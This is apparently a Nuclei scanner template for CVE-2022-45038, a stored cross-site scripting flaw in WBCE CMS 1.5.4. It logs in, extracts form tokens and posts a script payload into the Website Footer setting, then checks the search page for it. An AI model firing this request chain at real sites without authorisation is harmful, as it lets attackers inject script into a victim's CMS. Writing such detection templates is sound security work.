id: CVE-2022-45038 info: name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored) author: theamanrawat severity: medium description: | A cross-site scripting (XSS) vulnerability in /admin/settings/save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Website Footer field. reference: - https://github.com/WBCE/WBCE_CMS - https://shimo.im/docs/Ee32MrJd80iEwyA2/read - https://nvd.nist.gov/vuln/detail/CVE-2022-45038 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-45038 cwe-id: CWE-79 epss-score: 0.00077 cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:* metadata: max-request: 5 verified: true vendor: wbce product: wbce_cms tags: cve,cve2022,xss,wbce,cms,authenticated http: - raw: - | GET /admin/login/index.php HTTP/1.1 Host: {{Hostname}} - | POST /admin/login/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login - | GET /admin/settings/ HTTP/1.1 Host: {{Hostname}} - | POST /admin/settings/save.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded advanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password= - | GET /search/index.php HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "" - "Results For" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 extractors: - type: regex name: username_fieldname group: 1 regex: - 'name="username_fieldname" value="(.*)"' internal: true part: body - type: regex name: password_fieldname group: 1 regex: - 'name="password_fieldname" value="(.*)"' internal: true part: body - type: regex name: formtoken group: 1 regex: - 'name="formtoken" value="(.*)"' internal: true part: body - type: regex name: app_name group: 1 regex: - 'name="app_name" value="(.*?)"' internal: true part: body